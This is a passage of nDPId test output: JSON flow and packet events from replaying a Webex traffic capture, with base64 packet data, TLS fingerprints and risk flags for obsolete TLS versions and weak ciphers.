GQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00719{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1274,"source":"webex.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":4,"flow_first_seen":1444570699916,"flow_last_seen":1444570699968,"flow_tot_l4_data_len":316,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33551,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00412{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1275,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":968436,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA3pAABAGnr9QSm5ECggAAQG7gw\/+jBfaAXPo\/1AQ\/\/9hmQAA"} +00589{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":123146,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"ABoRAAACABoRAAABCABFAACpA35AABAGnjpQSm5ECggAAQG7gw\/+jBfaAXPo\/1AY\/\/+wJAAAFgMBAFECAABNAwFWGmZs4HEvkRp5CPDyrBD1d5FN0QkfcyNSvyMimX2MYiBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgAEAAAF\/wEAAQAUAwEAAQEWAwEAIHCqMV4qXgoAjYY8C2uGvdRpugsaOBkKyyR+wqee4vc5"} +00760{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1282,"source":"webex.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":6,"flow_first_seen":1444570699916,"flow_last_seen":1444570700123,"flow_tot_l4_data_len":485,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33551,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"6dfe5eb347aa509fc445e5628d467a2b","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00410{"flow_id":47,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":123390,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoM+xAAEAGPk0KCAABUEpuRIMPAbsBc+j\/\/owYW1AQPLgkYAAA"} +00472{"flow_id":47,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1284,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":174042,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABTM+1AAEAGPiEKCAABUEpuRIMPAbsBc+j\/\/owYW1AYPLii3QAAFAMBAAEBFgMBACD\/OJPkF4mrRi\/eVp7fdXJ6ptt9f9Xyrl80jGyqqpclXg=="} +00411{"flow_id":47,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1285,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":174449,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA39AABAGnrpQSm5ECggAAQG7gw\/+jBhbAXPpKlAQ\/\/9g7QAA"} +01139{"flow_id":47,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1286,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":174764,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAM+5AAEAGPDMKCAABUEpuRIMPAbsBc+kq\/owYW1AQPLjFzgAAFwMBAmrEU3DVRRBdOd5WIyfCWL6nzsGZcp3JQiva1MV5hzd4ZmEtFZys\/w\/ZU92kckbeuXwCK5aGZy7PaS5M+TD9rJcR6H8lWZOmSicofoKnn1zO\/jmW\/pVSqTxIy\/rAM4s8t+R\/5F77clEjVDywx4tecWJ5xFwXkafDOod4JZm4AVNTcvJNx4nJZY1fnNGMQvfr4xlOkMlOX24Ykk9oTiSq1UwcO\/Jnu6sNuo8111gNOXDOzA5H5OilWWTqXkkdcttiAaL88OizbMBazen1v2BZMg5kAxQO4I6gXbCiBklfTkoALV13U7zCbdnpOSHdsubc8lf5lUO4YVIvTw2EZDDz7q21iFNStBSP4WACdQL8nhxJfN+x6Tq9nqEQBqFMWxBB0mnUAUiv5jYHHXde2X\/+9T00KIXLsUxpjlbbesKcFyqgZvk55INrBFkDS6WeCT20fMg6Z1vtiKqKjNMzrEk3B1YM+8anVWdy74SO5zBpnRc54ECb\/dKsaOy7mAdM4noLqPw0YkPe5chvJ6VuntRAhh5aHisEVTAoMnMaOrWH7fXukC52UUwi1xFEgoRZmyfjN4BWP\/IKEHDL+Zq5+ga2pr+ZKE9lyRwb+jZV2dyE3qRac88YSY229Cs8kMkiKQvNr70PZU8tNzqO3ogfumvuAeMiMURu83T+lYQ+8R9tsUfRQdHCeLWZ0CIujU1ladBlUw8AhrM="} +00412{"flow_id":47,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1287,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":175039,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA4BAABAGnrlQSm5ECggAAQG7gw\/+jBhbAXPrQlAQ\/\/9e1QAA"} +00530{"flow_id":47,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1288,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":175349,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"ABoRAAACABoRAAABCABFAAB\/M+9AAEAGPfMKCAABUEpuRIMPAbsBc+tC\/owYW1AYPLgRbAAAOvdJAaqG3v8G7DijlxBsXC6vASyBm49VkiLQDtHbeo2dXeCs1Fc0ge6+3QjuNEfJ0Jb6c+XU6r0VVVOAUPHSzxoKQMmJ3LGf8YDaBFdfqaOwimG1R3lj"} +00412{"flow_id":47,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1289,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":175680,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA4FAABAGnrhQSm5ECggAAQG7gw\/+jBhbAXPrmVAQ\/\/9efgAA"} +00875{"flow_id":47,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1290,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":427964,"pkt_caplen":396,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":396,"pkt_l4_len":362,"pkt":"ABoRAAACABoRAAABCABFAAF+A4JAABAGnWFQSm5ECggAAQG7gw\/+jBhbAXPrmVAY\/\/\/EXwAAFwMBAQIK4F6naWXIdaW7I8Z58oqr4pe2aGe1khnn8cReqBpHVVeIRWJgqEdVTEv70\/At78M3MinIEB4V2DdA1+GtZMig4vQvEUrRCRgn+IK5uD2tYZpQdkXPY8l+HHTYDzw7s2WhMTVlDu61pqkG5cPIBlrdh2DGx10lkgxqd2I19aauAuLJp5MnLHEEKDOM+pMiGMiisODAMF8YSBSarxawY5qMg4D1VtwD28kRBv1uweOCrytT7E3Yn6XfLzbcBA8F2K2+Rip2TtVqoW0R1CPB7U7kXDK3wEghFEbW2tKTzMiQ6GTMXnvFlwH4EkJGyDXZwtwvNblo3aEBHFM52kiqB9sT6skXAwEASmNURClRk13EjF96Y9CTxyDn9xd2qeHhNjzFJbBfkblji5C0fbT5UIkvSSHkXM\/saSoul2\/swhTjbFKe+FIqNDIwRG19wgN4uriR"} +00444{"flow_id":47,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1295,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":459128,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"ABoRAAACABoRAAABCABFAAA\/M\/BAAEAGPjIKCAABUEpuRIMPAbsBc+uZ\/owZsVAYQOj7XQAAFQMBABKp7I2jaOZ4+TM20Luobgcl8wI="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1302,"source":"webex.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1444570700561,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33553,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1302,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":561150,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8d7ZAAEAG+m4KCAABUEpuRIMRAbsN6aumAAAAAKACOQgrqQAAAgQFtAQCCAoATNwQAAAAAAEDAwY="} +00410{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1303,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":563231,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA4lAABAGnrBQSm5ECggAAQG7gxHyFlRZDemrp1AS\/\/9ibgAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1304,"source":"webex.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1444570700563,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33554,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1304,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":563368,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8CyVAAEAGZwAKCAABUEpuRIMSAbsmf9c3AAAAAKACOQjnfgAAAgQFtAQCCAoATNwSAAAAAAEDAwY="} +00411{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1305,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":565210,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA4pAABAGnq9QSm5ECggAAQG7gxLZgCjIJn\/XOFAS\/\/9ibQAA"} +00408{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1306,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":565371,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAod7dAAEAG+oEKCAABUEpuRIMRAbsN6aun8hZUWlAQOQgpZwAA"} +00408{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1307,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":565470,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCyZAAEAGZxMKCAABUEpuRIMSAbsmf9c42YAoyVAQOQgpZgAA"} +00703{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1308,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":615658,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"ABoRAAACABoRAAABCABFAAEAd7hAAEAG+agKCAABUEpuRIMRAbsN6aun8hZUWlAYOQiQtAAAFgMBANMBAADPAwFWGmZMED4A5Nh17gO7bSCRkq5lMHNAG46Z4njZWjB\/3CBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgBGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00719{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1308,"source":"webex.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1444570700561,"flow_last_seen":1444570700615,"flow_tot_l4_data_len":316,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33553,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1309,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":615826,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA4tAABAGnq5QSm5ECggAAQG7gxHyFlRaDemsf1AQ\/\/9hlwAA"} +00703{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1310,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":616161,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"ABoRAAACABoRAAABCABFAAEACydAAEAGZjoKCAABUEpuRIMSAbsmf9c42YAoyVAYOQhPIgAAFgMBANMBAADPAwFWGmZMUiXWlfiAkM3TLt+8m\/rKGRmXBLOAMg7wv4yATyBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgBGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00719{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1310,"source":"webex.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":4,"flow_first_seen":1444570700563,"flow_last_seen":1444570700616,"flow_tot_l4_data_len":316,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33554,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00411{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1311,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":616245,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA4xAABAGnq1QSm5ECggAAQG7gxLZgCjJJn\/YEFAQ\/\/9hlgAA"} +00587{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1312,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":767052,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"ABoRAAACABoRAAABCABFAACpA41AABAGnitQSm5ECggAAQG7gxHyFlRaDemsf1AY\/\/9HpQAAFgMBAFECAABNAwFWGmZsTnqkZUSl5NRIyBNUjvkakGhXOc4JYCEZKcugqyBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgAEAAAF\/wEAAQAUAwEAAQEWAwEAINDUobyLhy7qsYKa7pQfKNg2A0RpIAZr2PLAT+0SGUWY"} +00760{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1312,"source":"webex.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":6,"flow_first_seen":1444570700561,"flow_last_seen":1444570700767,"flow_tot_l4_data_len":485,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33553,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"6dfe5eb347aa509fc445e5628d467a2b","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00590{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1313,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":767240,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"ABoRAAACABoRAAABCABFAACpA45AABAGnipQSm5ECggAAQG7gxLZgCjJJn\/YEFAY\/\/\/8lwAAFgMBAFECAABNAwFWGmZsSZTLsQmRXOA9BIEe6tiHL133I9vGXpYkt5mn6yBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgAEAAAF\/wEAAQAUAwEAAQEWAwEAIMu5\/8GpZLkiWJOsiQMnmQk6hTa1OPQQyiJKhIZUJS16"} +00760{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1313,"source":"webex.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":6,"flow_first_seen":1444570700563,"flow_last_seen":1444570700767,"flow_tot_l4_data_len":485,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33554,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"6dfe5eb347aa509fc445e5628d467a2b","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00409{"flow_id":48,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1314,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":767503,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAod7lAAEAG+n8KCAABUEpuRIMRAbsN6ax\/8hZU21AQPLgkXgAA"} +00408{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1315,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":767565,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCyhAAEAGZxEKCAABUEpuRIMSAbsmf9gQ2YApSlAQPLgkXQAA"} +00471{"flow_id":48,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1316,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":817960,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABTd7pAAEAG+lMKCAABUEpuRIMRAbsN6ax\/8hZU21AYPLhIQQAAFAMBAAEBFgMBACD134W\/9WTwbFl0+qIZUJuaE\/5h61bUXkkGmkRjO5HGhQ=="} +00410{"flow_id":48,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1317,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":818174,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA49AABAGnqpQSm5ECggAAQG7gxHyFlTbDemsqlAQ\/\/9g6wAA"} +00468{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1318,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":818666,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABTCylAAEAGZuUKCAABUEpuRIMSAbsmf9gQ2YApSlAYPLiJLQAAFAMBAAEBFgMBACAzz40on5KcfTfUh6EtLECTgB0QHZDvi2oP1zjKJwOu1w=="} +00411{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1319,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":818754,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA5BAABAGnqlQSm5ECggAAQG7gxLZgClKJn\/YO1AQ\/\/9g6gAA"} +01139{"flow_id":48,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1320,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":819362,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAd7tAAEAG+GUKCAABUEpuRIMRAbsN6ayq8hZU21AQPLjigwAAFwMBAh2ABtNQgTjz+cki4wZiuGxa14InFXqeAaqBSJQ7sw7bUVzNvp70dPHNPDUW+CQKmZ7wCS4PymYl7xsYepLnxAalO4jJSyOl6GC6s5S0LtwPwfoavrgDAT8mJIzLd3bNFUx\/KjldaN0PrNzZmCLrhZsGyBY9jmLnKyUEVOHUaZ24nswiSzzaIx43PjOVYytILtFlUELg\/wHOoH0MjiGEnnfSEKCRbgl7Y4jF8MI4Kk+6Ak\/I2FzW2e0\/qzz7WojF\/gEk1ZA0EICOn6pt6U4AO2+ODuJvCIGE7U2yca67Kc63IdzddFNT0EWNGq0dRkU9kWK6Rrf4t\/qJwVvVJaOruA4FmH4jooEXdgfIERyjWiH9G2kxN1ndFtF9JtrTOBo0R\/97fWcoF+pwIKMPrvVL0y+oDNboC60dymrJlg1f8EWjAhczsWJSUQmVu8o5bzyoK91Q6fVY0nJItXvAIWiTAnPY7UkNTYHVOe3XqPN2lPpysDsh8M+0ticYrKtJTF9k3k\/p5l+1tTnVlmOg5KAokgse\/yUwQ7Uo7zqNlR7bG+G8S75o1Q1sqat5GnKFwuCjQjrmHIbLHsSqiz2fNr4tRbu8ZM7XR1qo2po6Ak2AbTF83IsbZf4XDCY6TTSSg\/uW7XaG8hb0vso9Q2rdkCwjBdZEzpgeAcxOEBo\/bm7+AwcAxK92wkq02RzwmPM2yU137R8uvOw="} +00411{"flow_id":48,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1321,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":819486,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA5FAABAGnqhQSm5ECggAAQG7gxHyFlTbDemuwlAQ\/\/9e0wAA"} +00425{"flow_id":48,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1322,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570700,"pkt_ts_usec":819886,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"ABoRAAACABoRAAABCABFAAAyd7xAAEAG+nIKCAABUEpuRIMRAbsN6a7C8hZU21AYPLg49gAAQnz+WXZF4FFRpQ=="} 